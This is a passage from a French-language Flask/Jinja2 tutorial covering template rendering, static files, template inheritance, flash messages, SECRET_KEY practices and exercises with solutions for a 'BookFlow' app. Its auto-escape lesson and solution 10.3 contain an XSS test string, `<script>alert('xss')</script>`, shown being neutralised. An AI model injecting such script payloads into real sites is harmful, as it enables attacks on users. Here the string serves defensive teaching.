  8. NAVIGATEUR affiche la page

SÉCURITÉ AUTOMATIQUE — AUTO-ESCAPE :
  Jinja2 échappe automatiquement les caractères dangereux en HTML :
    < devient &lt;
    > devient &gt;
    & devient &amp;
    " devient &#34;
    ' devient &#39;

  Exemple :
    commentaire = "<script>alert('xss')</script>"
    {{ commentaire }}
    -> &lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;
    -> Affiché comme texte, pas exécuté ! [OK]

  Pour afficher du HTML non-échappé (DANGEREUX) :
    {{ contenu | safe }}  <- Seulement si TU contrôles la source !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  STRUCTURE DES DOSSIERS TEMPLATES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask cherche les templates dans le dossier templates/ par défaut.

STRUCTURE POUR BOOKFLOW :

  bookflow/
  ├── app/
  │   ├── __init__.py
  │   ├── routes/
  │   └── templates/              <- Dossier des templates
  │       ├── base.html           <- Template de base (héritage)
  │       ├── index.html          <- Page d'accueil
  │       ├── livres/             <- Templates spécifiques aux livres
  │       │   ├── liste.html      <- Liste des livres
  │       │   ├── detail.html     <- Détail d'un livre
  │       │   └── formulaire.html <- Formulaire création/édition
  │       ├── auth/               <- Templates d'authentification
  │       │   ├── login.html
  │       │   └── register.html
  │       └── errors/             <- Pages d'erreur
  │           ├── 404.html
  │           └── 500.html
  └── static/                     <- Fichiers statiques
      ├── css/
      │   └── style.css
      ├── js/
      │   └── main.js
      └── images/
          └── logo.png

CONFIGURER LE DOSSIER TEMPLATES :

  # Par défaut, Flask cherche dans ./templates/ (relatif à l'app)
  app = Flask(__name__)

  # Pour un dossier personnalisé :
  app = Flask(__name__, template_folder='mes_templates')

  # Pour un Blueprint avec ses propres templates :
  livres_bp = Blueprint(
      'livres',
      __name__,
      template_folder='templates'  # templates/ relatif au module
  )

  # Bonus avancé (très puissant)
    # Tu peux même ajouter plusieurs dossiers manuellement :

    from jinja2 import ChoiceLoader, FileSystemLoader

    app.jinja_loader = ChoiceLoader([
        FileSystemLoader('templates'),
        FileSystemLoader('autres_templates')
    ])

    -> Là tu contrôles totalement où Jinja2 cherche


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  render_template() EN DÉTAIL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import Flask, render_template

  app = Flask(__name__)

  @app.route('/')
  def accueil():
      # render_template(nom_fichier, **variables)
      return render_template('index.html')
      # -> Cherche app/templates/index.html
      # -> Retourne le HTML rendu

  @app.route('/livres/<int:livre_id>')
  def detail_livre(livre_id):
      livre = {
          "id": livre_id,
          "titre": "Dune",
          "auteur": "Frank Herbert",
          "pages": 900,
          "disponible": True
      }
      # Passer des variables au template
      return render_template(
          'livres/detail.html',  # Chemin relatif à templates/
          livre=livre,           # Variable 'livre' disponible dans le template
          titre_page="Détail livre"  # Variable supplémentaire
      )

  @app.route('/livres')
  def liste_livres():
      livres = [
          {"id": 1, "titre": "Dune", "auteur": "Herbert"},
          {"id": 2, "titre": "Foundation", "auteur": "Asimov"},
      ]
      # Passer plusieurs variables
      return render_template(
          'livres/liste.html',
          livres=livres,
          total=len(livres),
          page_courante=1
      )

render_template_string() — POUR LES TESTS RAPIDES :

  from flask import render_template_string

  @app.route('/test')
  def test():
      # Rendre un template défini directement en string (pas de fichier)
      template = "<h1>Bonjour {{ nom }} !</h1>"
      return render_template_string(template, nom="Momo")
      # -> <h1>Bonjour Momo !</h1>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  FICHIERS STATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les fichiers statiques (CSS, JS, images) sont servis depuis le dossier static/.

  # Flask sert automatiquement les fichiers dans static/
  # URL : /static/css/style.css

  # Dans les templates, utiliser url_for pour générer les URLs statiques :
  <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
  <script src="{{ url_for('static', filename='js/main.js') }}"></script>
  <img src="{{ url_for('static', filename='images/logo.png') }}" alt="BookFlow">

  # url_for('static', filename='...') génère la bonne URL même si
  # l'app est déployée dans un sous-dossier (ex: /bookflow/static/css/style.css)

PERSONNALISER LE DOSSIER STATIC :

  app = Flask(__name__, static_folder='assets', static_url_path='/files')
  # Les fichiers dans assets/ sont servis sous /files/
  # Ex: assets/style.css -> URL: /files/style.css

Exemple:

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1) STRUCTURE DES FICHIERS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

project/
├── app.py
├── static/
│   ├── css/
│   │   └── style.css
│   ├── js/
│   │   └── main.js
│   └── images/
│       └── logo.png
└── templates/
    └── index.html


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2) EXEMPLE PYTHON (app.py)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

from flask import Flask, render_template

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

if __name__ == "__main__":
    app.run(debug=True)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3) EXEMPLE TEMPLATE HTML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

<!DOCTYPE html>
<html>
<head>
    <title>Accueil</title>

    <!-- CSS -->
    <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
</head>
<body>

    <h1>Bienvenue sur BookFlow</h1>

    <!-- IMAGE -->
    <img src="{{ url_for('static', filename='images/logo.png') }}" alt="Logo">

    <!-- JS -->
    <script src="{{ url_for('static', filename='js/main.js') }}"></script>

</body>
</html>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
4) EXEMPLE CSS (static/css/style.css)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

body {
    background-color: #f5f5f5;
    font-family: Arial;
}

h1 {
    color: blue;
}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5) EXEMPLE JS (static/js/main.js)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

console.log("JavaScript chargé !");


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
6) ACCÈS DIRECT DANS LE NAVIGATEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

http://localhost:5000/static/css/style.css
http://localhost:5000/static/js/main.js
http://localhost:5000/static/images/logo.png


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
7) PERSONNALISER LE DOSSIER STATIC
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

from flask import Flask

app = Flask(__name__,
            static_folder='assets',
            static_url_path='/files')

# Maintenant :
# assets/style.css -> accessible via /files/style.css


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
8) EXEMPLE AVEC DOSSIER PERSONNALISÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

project/
├── app.py
├── assets/
│   └── style.css
└── templates/
    └── index.html


Dans le template :

<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">

URL générée :
http://localhost:5000/files/style.css


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
9) BONNES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[OK] Toujours utiliser url_for()
[OK] Ne jamais écrire les chemins en dur
[OK] Organiser CSS / JS / images
[OK] Utiliser des noms clairs
[OK] Éviter les conflits de noms


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 10.1 : Crée la structure de dossiers templates/ pour BookFlow.
    Crée un fichier index.html simple et une route qui le rend.

  Exercice 10.2 : Crée un template livres/detail.html qui affiche
    le titre, l'auteur et le nombre de pages d'un livre passé en variable.

  Exercice 10.3 : Teste l'auto-escape de Jinja2 :
    Passe une chaîne avec du HTML malveillant et observe l'échappement.

NIVEAU INTERMÉDIAIRE :
  Exercice 10.4 : Crée une route /livres qui passe une liste de livres
    à un template et les affiche en HTML.

NIVEAU AVANCÉ :
  Exercice 10.5 : Ajoute des fichiers CSS dans static/ et utilise url_for('static')
    pour les inclure dans tes templates.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 10.1 :

  # Créer la structure
  mkdir -p app/templates/livres app/templates/auth app/templates/errors
  mkdir -p app/static/css app/static/js app/static/images

  # app/templates/index.html
  <!DOCTYPE html>
  <html lang="fr">
  <head>
      <meta charset="UTF-8">
      <title>BookFlow</title>
  </head>
  <body>
      <h1>Bienvenue sur BookFlow</h1>
      <p>Votre bibliothèque en ligne.</p>
      <a href="/livres">Voir le catalogue</a>
  </body>
  </html>

  # app/routes/pages.py
  from flask import Blueprint, render_template

  pages_bp = Blueprint('pages', __name__)

  @pages_bp.route('/')
  def index():
      return render_template('index.html')

CORRIGÉ 10.2 :

  # app/templates/livres/detail.html
  <!DOCTYPE html>
  <html lang="fr">
  <head>
      <meta charset="UTF-8">
      <title>{{ livre.titre }} — BookFlow</title>
  </head>
  <body>
      <h1>{{ livre.titre }}</h1>
      <p><strong>Auteur :</strong> {{ livre.auteur }}</p>
      <p><strong>Pages :</strong> {{ livre.pages }}</p>
      <p><strong>Genre :</strong> {{ livre.genre }}</p>
      <p><strong>Disponible :</strong>
          {% if livre.disponible %}
              Oui [OK]
          {% else %}
              Non [X]
          {% endif %}
      </p>
      <a href="/livres"><- Retour au catalogue</a>
  </body>
  </html>

  # Route :
  @app.route('/livres/<int:livre_id>')
  def detail(livre_id):
      livre = {
          "titre": "Dune", "auteur": "Herbert",
          "pages": 900, "genre": "science-fiction", "disponible": True
      }
      return render_template('livres/detail.html', livre=livre)

CORRIGÉ 10.3 :

  @app.route('/test-escape')
  def test_escape():
      texte_dangereux = "<script>alert('XSS Attack!')</script>"
      return render_template_string(
          "<p>{{ texte }}</p>",
          texte=texte_dangereux
      )
  # Résultat dans le navigateur :
  # <p>&lt;script&gt;alert(&#39;XSS Attack!&#39;)&lt;/script&gt;</p>
  # Le script est affiché comme texte, pas exécuté -> SÉCURISÉ [OK]


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 11 — TEMPLATES HTML : STRUCTURE ET HÉRITAGE                    ║
║                 DRY (Don't Repeat Yourself) appliqué aux templates HTML              ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

PROBLÈME SANS HÉRITAGE :
Sans héritage de templates, chaque page HTML répète le même en-tête,
la même navigation, le même pied de page. Si tu changes la navbar, tu
dois modifier 50 fichiers. C'est ingérable.

SOLUTION : L'HÉRITAGE DE TEMPLATES JINJA2
Un template de base (base.html) définit la structure commune.
Les pages enfants héritent de cette base et remplissent seulement
les parties qui changent (le contenu principal).

PRINCIPE :

  base.html                    liste.html (enfant)
  ─────────────────────        ──────────────────────────────
  <!DOCTYPE html>              {% extends "base.html" %}
  <html>
  <head>                       {% block titre %}
    <title>                      Liste des Livres
      {% block titre %}{% endblock %}
    </title>                   {% endblock %}
  </head>
  <body>
    <nav>...</nav>             {% block contenu %}
                                 <ul>
    {% block contenu %}          {% for livre in livres %}
    {% endblock %}                 <li>{{ livre.titre }}</li>
                                 {% endfor %}
    <footer>...</footer>         </ul>
  </body>                      {% endblock %}
  </html>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  LE TEMPLATE DE BASE (base.html)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TEMPLATE DE BASE COMPLET POUR BOOKFLOW :

  {# app/templates/base.html #}
  {# Commentaire Jinja2 : non visible dans le HTML final #}

  <!DOCTYPE html>
  <html lang="fr">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">

      {# Bloc titre — les enfants peuvent le surcharger #}
      <title>{% block titre %}BookFlow{% endblock %} — Votre bibliothèque</title>

      {# CSS de base — toujours chargé #}
      <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">

      {# Bloc CSS extra — les enfants peuvent ajouter leurs CSS #}
      {% block css_extra %}{% endblock %}
  </head>
  <body>

      {# ── NAVIGATION ── #}
      <nav class="navbar">
          <div class="nav-brand">
              <a href="{{ url_for('pages.index') }}">[DOCS] BookFlow</a>
          </div>

          <ul class="nav-links">
              <li><a href="{{ url_for('pages.index') }}">Accueil</a></li>
              <li><a href="{{ url_for('livres.liste') }}">Catalogue</a></li>

              {# Bloc nav_extra — pour ajouter des liens selon la page #}
              {% block nav_extra %}{% endblock %}

              {# Affichage conditionnel selon l'état de connexion #}
              {% if current_user %}
                  <li><a href="/profil">{{ current_user.nom }}</a></li>
                  <li><a href="/logout">Déconnexion</a></li>
              {% else %}
                  <li><a href="/login">Connexion</a></li>
                  <li><a href="/register" class="btn-primary">S'inscrire</a></li>
              {% endif %}
          </ul>
      </nav>

      {# ── MESSAGES FLASH ── #}
      {# Flask permet d'afficher des messages temporaires (succès, erreur) #}
      {% with messages = get_flashed_messages(with_categories=true) %}
          {% if messages %}
              <div class="flash-messages">
                  {% for categorie, message in messages %}
                      <div class="alert alert-{{ categorie }}">
                          {{ message }}
                          <button class="close-btn" onclick="this.parentElement.remove()">×</button>
                      </div>
                  {% endfor %}
              </div>
          {% endif %}
      {% endwith %}

      {# ── CONTENU PRINCIPAL ── #}
      <main class="container">
          {# Fil d'Ariane optionnel #}
          {% block breadcrumb %}{% endblock %}

          {# Bloc contenu — OBLIGATOIREMENT surchargé par les enfants #}
          {% block contenu %}
              <p>Aucun contenu défini pour cette page.</p>
          {% endblock %}
      </main>

      {# ── PIED DE PAGE ── #}
      <footer class="footer">
          <p>&copy; 2024 BookFlow — Tous droits réservés</p>
          <p>Version 1.0.0</p>
      </footer>

      {# JS de base — toujours chargé, en bas pour la performance #}
      <script src="{{ url_for('static', filename='js/main.js') }}"></script>

      {# Bloc JS extra — les enfants peuvent ajouter leurs scripts #}
      {% block js_extra %}{% endblock %}

  </body>
  </html>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES BLOCS JINJA2 ({% block %})
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les blocs sont les zones que les templates enfants peuvent remplacer.

DÉFINIR UN BLOC (dans base.html) :
  {% block nom_bloc %}
      Contenu par défaut (optionnel)
  {% endblock %}

SURCHARGER UN BLOC (dans un template enfant) :
  {% block nom_bloc %}
      Nouveau contenu qui remplace le défaut
  {% endblock %}

UTILISER LE CONTENU PARENT AVEC super() :
  {% block css_extra %}
      {{ super() }}  {# <- Inclut le CSS du parent D'ABORD #}
      <link rel="stylesheet" href="mon-style-specifique.css">
  {% endblock %}

BLOCS STANDARDS RECOMMANDÉS POUR BOOKFLOW :

  ┌─────────────────┬────────────────────────────────────────────────┐
  │ BLOC            │ RÔLE                                           │
  ├─────────────────┼────────────────────────────────────────────────┤
  │ titre           │ Titre de l'onglet navigateur                   │
  │ meta_desc       │ Meta description pour le SEO                   │
  │ css_extra       │ CSS supplémentaire pour cette page             │
  │ nav_extra       │ Liens de navigation supplémentaires            │
  │ breadcrumb      │ Fil d'Ariane (Accueil > Livres > Dune)         │
  │ contenu         │ Contenu principal de la page                   │
  │ sidebar         │ Barre latérale (si mise en page à 2 colonnes)  │
  │ js_extra        │ JavaScript supplémentaire pour cette page      │
  └─────────────────┴────────────────────────────────────────────────┘


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  PAGES ENFANTS (extends)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

PAGE D'ACCUEIL :

  {# app/templates/index.html #}
  {% extends "base.html" %}

  {% block titre %}Accueil{% endblock %}

  {% block contenu %}
  <section class="hero">
      <h1>Bienvenue sur BookFlow [DOCS]</h1>
      <p>Découvrez notre catalogue de {{ total_livres }} livres.</p>
      <a href="{{ url_for('livres.liste') }}" class="btn-primary">
          Parcourir le catalogue
      </a>
  </section>

  <section class="stats">
      <div class="stat-card">
          <span class="stat-nombre">{{ stats.total_livres }}</span>
          <span class="stat-label">Livres</span>
      </div>
      <div class="stat-card">
          <span class="stat-nombre">{{ stats.membres }}</span>
          <span class="stat-label">Membres</span>
      </div>
      <div class="stat-card">
          <span class="stat-nombre">{{ stats.emprunts_actifs }}</span>
          <span class="stat-label">Emprunts en cours</span>
      </div>
  </section>

  <section class="nouveautes">
      <h2>Nouveautés</h2>
      <div class="livres-grid">
          {% for livre in nouveautes %}
          <div class="livre-card">
              <h3>{{ livre.titre }}</h3>
              <p>{{ livre.auteur }}</p>
              <a href="{{ url_for('livres.detail', livre_id=livre.id) }}">
                  Voir le livre ->
              </a>
          </div>
          {% endfor %}
      </div>
  </section>
  {% endblock %}

  {% block js_extra %}
  <script>
      // JavaScript spécifique à la page d'accueil
      console.log("Page d'accueil BookFlow chargée");
  </script>
  {% endblock %}

PAGE LISTE DES LIVRES :

  {# app/templates/livres/liste.html #}
  {% extends "base.html" %}

  {% block titre %}Catalogue des Livres{% endblock %}

  {% block breadcrumb %}
  <nav class="breadcrumb">
      <a href="{{ url_for('pages.index') }}">Accueil</a>
      <span>›</span>
      <span>Catalogue</span>
  </nav>
  {% endblock %}

  {% block contenu %}
  <div class="page-header">
      <h1>Catalogue des Livres</h1>
      <p>{{ meta.total }} livre(s) trouvé(s)</p>
  </div>

  {# Formulaire de recherche et filtres #}
  <form class="filtres" method="GET" action="{{ url_for('livres.liste') }}">
      <input type="text" name="q" value="{{ filtres.q or '' }}"
             placeholder="Rechercher un titre, un auteur...">

      <select name="genre">
          <option value="">Tous les genres</option>
          {% for genre in genres_disponibles %}
          <option value="{{ genre }}"
              {% if filtres.genre == genre %}selected{% endif %}>
              {{ genre | title }}
          </option>
          {% endfor %}
      </select>

      <select name="disponible">
          <option value="">Disponibilité</option>
          <option value="true" {% if filtres.disponible == 'true' %}selected{% endif %}>
              Disponible
          </option>
          <option value="false" {% if filtres.disponible == 'false' %}selected{% endif %}>
              Emprunté
          </option>
      </select>

      <button type="submit">[RECHERCHE] Filtrer</button>

      {% if filtres.q or filtres.genre or filtres.disponible %}
      <a href="{{ url_for('livres.liste') }}" class="btn-reset">[X] Effacer</a>
      {% endif %}
  </form>

  {# Grille des livres #}
  {% if livres %}
  <div class="livres-grid">
      {% for livre in livres %}
      <div class="livre-card {% if not livre.disponible %}indisponible{% endif %}">
          <div class="livre-genre-badge">{{ livre.genre | title }}</div>

          <h3>
              <a href="{{ url_for('livres.detail', livre_id=livre.id) }}">
                  {{ livre.titre }}
              </a>
          </h3>

          <p class="auteur">{{ livre.auteur }}</p>
          <p class="pages">{{ livre.pages }} pages</p>

          <div class="disponibilite">
              {% if livre.disponible %}
                  <span class="badge disponible">[OK] Disponible</span>
              {% else %}
                  <span class="badge indisponible">[X] Emprunté</span>
              {% endif %}
          </div>

          <a href="{{ url_for('livres.detail', livre_id=livre.id) }}"
             class="btn-detail">Voir détails</a>
      </div>
      {% endfor %}
  </div>
  {% else %}
  <div class="empty-state">
      <p>Aucun livre ne correspond à votre recherche.</p>
      <a href="{{ url_for('livres.liste') }}">Voir tous les livres</a>
  </div>
  {% endif %}

  {# Pagination #}
  {% if meta.pages > 1 %}
  <nav class="pagination">
      {% if meta.has_prev %}
          <a href="{{ url_for('livres.liste', page=meta.page-1, **filtres) }}"
             class="btn-page"><- Précédent</a>
      {% endif %}

      {% for num_page in range(1, meta.pages + 1) %}
          <a href="{{ url_for('livres.liste', page=num_page, **filtres) }}"
             class="btn-page {% if num_page == meta.page %}active{% endif %}">
              {{ num_page }}
          </a>
      {% endfor %}

      {% if meta.has_next %}
          <a href="{{ url_for('livres.liste', page=meta.page+1, **filtres) }}"
             class="btn-page">Suivant -></a>
      {% endif %}
  </nav>
  {% endif %}

  {% endblock %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  INCLUDE — RÉUTILISER DES PARTIALS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

{% include %} permet d'insérer un sous-template dans un template.
Utile pour les composants répétés : cartes, formulaires, alertes.

  {# app/templates/partials/_livre_card.html #}
  <div class="livre-card">
      <h3><a href="{{ url_for('livres.detail', livre_id=livre.id) }}">
          {{ livre.titre }}
      </a></h3>
      <p>{{ livre.auteur }}</p>
      {% if livre.disponible %}
          <span class="badge-vert">Disponible</span>
      {% else %}
          <span class="badge-rouge">Emprunté</span>
      {% endif %}
  </div>

  {# Dans un autre template : #}
  {% for livre in livres %}
      {% include 'partials/_livre_card.html' %}
  {% endfor %}

  {# Include avec ignore si le fichier n'existe pas #}
  {% include 'partials/_optionnel.html' ignore missing %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  FLASH MESSAGES — RETOURS UTILISATEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les flash messages permettent d'afficher des notifications après une action
(succès de création, erreur de connexion, etc.)

DANS LA ROUTE FLASK :

  from flask import flash, redirect, url_for

  @app.route('/livres', methods=['POST'])
  def creer_livre():
      # ... créer le livre ...
      flash("Livre créé avec succès !", "success")
      return redirect(url_for('livres.liste'))

  @app.route('/login', methods=['POST'])
  def login():
      # ... vérification identifiants ...
      if identifiants_invalides:
          flash("Email ou mot de passe incorrect.", "error")
          return redirect(url_for('auth.login'))

  # Catégories standard : success, error, warning, info

DANS LE TEMPLATE (déjà dans base.html) :

  {% with messages = get_flashed_messages(with_categories=true) %}
      {% if messages %}
          {% for categorie, message in messages %}
              <div class="alert alert-{{ categorie }}">{{ message }}</div>
          {% endfor %}
      {% endif %}
  {% endwith %}

  {# Sans catégories : #}
  {% with messages = get_flashed_messages() %}
      {% for message in messages %}
          <div class="alert">{{ message }}</div>
      {% endfor %}
  {% endwith %}

  [ATTENTION] Flash messages nécessitent une SECRET_KEY définie dans la config Flask
     (pour signer la session qui stocke les messages).
     import secrets
     secrets.token_hex(32)

    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    SECRET_KEY EN FLASK — GUIDE COMPLET
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    1) POURQUOI UNE SECRET_KEY ?

    La SECRET_KEY est utilisée pour :
    - signer les cookies de session
    - sécuriser les flash messages
    - empêcher la falsification des données

    Sans SECRET_KEY :
    -> Flask refuse certaines fonctionnalités (sessions, flash)


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    2) MÉTHODES EN 1 LIGNE
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    Avec secrets (RECOMMANDÉ) :
    import secrets; print(secrets.token_hex(32))

    Alternative :
    import secrets; secrets.token_urlsafe(32)

    Avec os :
    import os; os.urandom(24)


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    3) MÉTHODES EN 2 LIGNES
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    Avec secrets :
    import secrets
    SECRET_KEY = secrets.token_hex(32)

    Avec token_urlsafe :
    import secrets
    SECRET_KEY = secrets.token_urlsafe(32)

    Avec os :
    import os
    SECRET_KEY = os.urandom(24)


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    4) UTILISATION DANS FLASK
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    app.secret_key = secrets.token_hex(32)

    ou

    app.config['SECRET_KEY'] = secrets.token_urlsafe(32)


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    5) MÉTHODE PROFESSIONNELLE (.env)
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    Générer une clé :
    import secrets; print(secrets.token_urlsafe(32))

    Dans .env :
    SECRET_KEY=ma_cle_securisee

    Dans Flask :
    import os
    app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    6) CE QUI SE PASSE SOUS LE CAPOT
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    Flask stocke la session dans un cookie signé.

    session = données + signature

    La signature dépend de SECRET_KEY.

    Si quelqu’un modifie le cookie :
    -> la signature devient invalide
    -> Flask ignore la session


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    7) RISQUES SI MAUVAISE CLÉ
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    [X] SECRET_KEY faible :
    -> peut être devinée (ex: "1234")

    [X] SECRET_KEY exposée :
    -> un attaquant peut signer ses propres cookies

    Exemple attaque :
    - créer un faux cookie
    - se donner des droits admin


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    8) BONNES PRATIQUES
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    [OK] utiliser secrets.token_urlsafe(32)
    [OK] stocker la clé dans .env
    [OK] ne jamais la publier
    [OK] utiliser HTTPS
    [OK] ne pas stocker de données sensibles dans session


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    9) À NE JAMAIS FAIRE
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    SECRET_KEY = "1234"
    SECRET_KEY = "password"
    SECRET_KEY = "monsecret"

    -> trop facile à casser


    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    10) RÉSUMÉ
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    SECRET_KEY = élément central de sécurité Flask

    Sans clé :
    -> application vulnérable

    Avec bonne clé :
    -> cookies sécurisés
    -> sessions fiables
    -> flash messages protégés


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  TEMPLATES D'ERREUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  {# app/templates/errors/404.html #}
  {% extends "base.html" %}

  {% block titre %}Page non trouvée (404){% endblock %}

  {% block contenu %}
  <div class="error-page">
      <div class="error-code">404</div>
      <h1>Page introuvable</h1>
      <p>La page que vous cherchez n'existe pas ou a été déplacée.</p>
      <a href="{{ url_for('pages.index') }}" class="btn-primary">
          <- Retour à l'accueil
      </a>
  </div>
  {% endblock %}

  {# Dans les gestionnaires d'erreurs Flask : #}
  @app.errorhandler(404)
  def page_non_trouvee(e):
      return render_template('errors/404.html'), 404

  @app.errorhandler(500)
  def erreur_serveur(e):
      return render_template('errors/500.html'), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 11.1 : Crée le template base.html de BookFlow avec au moins :
    nav, main, footer, bloc contenu, bloc titre.

  Exercice 11.2 : Crée index.html qui étend base.html et affiche
    un message de bienvenue avec le nombre total de livres.

  Exercice 11.3 : Crée les templates d'erreur 404.html et 500.html
    qui étendent base.html.

NIVEAU INTERMÉDIAIRE :
  Exercice 11.4 : Crée un partial _livre_card.html et utilise-le
    dans la page de liste pour éviter la répétition.

  Exercice 11.5 : Implémente les flash messages dans base.html et
    teste-les depuis une route Flask.

NIVEAU AVANCÉ :
  Exercice 11.6 : Crée un système de layout à deux colonnes avec
    un bloc sidebar optionnel. Si le bloc est vide, la page
    s'affiche en pleine largeur.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 11.1 — base.html minimal :

  <!DOCTYPE html>
  <html lang="fr">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>{% block titre %}BookFlow{% endblock %}</title>
      <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
      {% block css_extra %}{% endblock %}
  </head>
  <body>
      <nav>
          <a href="/">[DOCS] BookFlow</a>
          <a href="/livres">Catalogue</a>
          <a href="/login">Connexion</a>
      </nav>

      {% with messages = get_flashed_messages(with_categories=true) %}
          {% if messages %}
              {% for cat, msg in messages %}
                  <div class="alert alert-{{ cat }}">{{ msg }}</div>
              {% endfor %}
          {% endif %}
      {% endwith %}

      <main>
          {% block contenu %}{% endblock %}
      </main>

      <footer>
          <p>&copy; 2024 BookFlow</p>
      </footer>

      {% block js_extra %}{% endblock %}
  </body>
  </html>

CORRIGÉ 11.6 — Layout à deux colonnes :

  {# base.html avec sidebar optionnelle #}
  <main class="container">
      {# Détecter si le bloc sidebar est défini #}
      {% if self.sidebar() | trim %}
          {# Mode 2 colonnes #}
          <div class="layout-deux-colonnes">
              <div class="contenu-principal">
